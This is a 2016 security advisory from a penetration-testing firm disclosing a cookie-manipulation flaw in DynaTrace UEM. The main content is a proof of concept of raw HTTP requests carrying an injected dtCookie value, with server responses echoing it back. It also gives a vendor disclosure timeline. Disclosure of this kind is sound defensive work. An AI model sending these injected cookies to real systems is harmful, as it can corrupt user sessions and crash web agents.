FULGUR SECURITY

:: CYBER SECURITY SERVICES

- SECURITY ADVISORY BULLETIN -

"DynaTrace UEM Cookie Manipulation"

WWW.FULGURSECURITY.COM

-// FULGUR SECURITY ADVISORY //-

- DynaTrace UEM Cookie Manipulation

- Severity :: Medium
- Date :: 2016/03/01
- Credits :: Alberto Fontanella
- Product :: DynaTrace UEM 6.3.* - 6.2.* - 6.1.*
  www.dynatrace.com

[+] PRODUCT OVERVIEW

Dynatrace UEM delivers an agile and powerful website monitoring service that offers business-relevant metrics across all platforms as well as complete visibility across multiple digital channels through the windshield of what the company calls its "Customer Experience Cockpit”. DynaTrace is used by companies as Yahoo, Cisco, LinkedIn, etc.

[+] TECHNICAL INFO

Vulnerability tested on IBM Web Sphere Portal with DynaTrace User Experience Management (UEM) JavaScript Agent enabled. An attacker can force dynaTrace Monitor to set cookie “dtCookie” containing malicious data. The attacker sends a HTTP request to server with dynaTrace enabled injecting the cookie “dtCookie” containing malicious data. The dynaTrace Monitor does not sanitizes user input found in dtCookie and use it to forge the new cookie. The new forged cookie dtCookie containing malicious data will be used by user as a valid cookie and will be send to the server counter-part until user's browser is closed. Several instances of a corrupted UEM dtCookie can cause a web agent to crash, this behavior is seen/confirmed by DynaTrace technical team.

[+] EXPLOIT (POC)

Request - 1

```
GET http://www.site.com/wps/portal/welcome HTTP/1.1
Connection: keep-alive
```

```
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/we
bp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94
Safari/537.36
Accept-Encoding: sdch
Accept-Language: en-US,en;q=0.8
Cookie: dtCookie=INJECTED_DATA_+_%_"_)_(_$_'
Content-Length: 0
Host: www.site.com
```

Response - 1

```
HTTP/1.1 200 OK
Date: Thu, 25 Feb 2016 13:30:36 GMT
X-dynaTrace-JS-Agent: true
Cache-Control: no-cache="set-cookie, set-cookie2"
Set-Cookie: dtCookie=INJECTED_DATA_+_%_"_)_(_$_'|
TmV3K0ludGVybmV0K0Jhbmtpbmd8MQ; Path=/; Domain=.site.com
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Language: en-US
```

Request - 2

```
POST http://www.site.com/wps/portal/dynaTraceMonitor HTTP/1.1
Connection: keep-alive
Content-Length: 137
Cache-Control: max-age=0
Origin: http://www.site.com
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Language: en-US,en;q=0.8
Cookie: dtCookie=INJECTED_DATA_+_%_"_)_(_$_'
User-Agent: Jakarta Commons-HttpClient/3.1
Host: www.site.com

$a=1%7C1%7C_load_%7C_load_%7C-
%7C1456407022731%7C0%7C27$v=62$fId=207022735_931$PV=1$rId=RID_
-874596040$rpId=-888246624$time=1456407092790
```

Response - 2

```
HTTP/1.1 200 OK
Date: Thu, 25 Feb 2016 13:45:19 GMT
Set-Cookie: dtCookie=INJECTED_DATA_+_%_"_)_(_$_'|
TmV3K0ludGVybmV0K0Jhbmtpbmd8MQ; Path=/; Domain=.site.com
Cache-Control: no-cache
Content-Length: 13
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8

OK(Webserver)
```

[+] TIME LINE

2016/03/01 – Vulnerability found
2016/03/04 – Vulnerability submitted to DynaTrace
2016/03/07 – DynaTrace responds
2016/04/01 – DynaTrace confirms vulnerabilities related to cookie manipulation and reports a web server crash due this. However DynaTrace doesn't plain to fix the reported vulnerability considering it not affecting the product's security. New releases of DynaTrace products planned to fix web server crash due to a corrupted UEM dtCookie.
2016/04/28 – Fix released (JLT-145720 UEM)
2016/05/04 – Bulletin disclosed

[+] CONTACT

Fulgur Security - Cyber Security Services

info @ fulgursecurity.com - www.fulgursecurity.com

We provide advanced Penetration Testing services: Web Application PT, Mobile Application PT (Android, iOS, Windows, BlackBerry), Thick Client Application PT, Network PT, Vulnerability Assessment (Network & Functional VA) and Ethical Hacking for Financial and Military agencies.

Contact Us For Ensure Your Security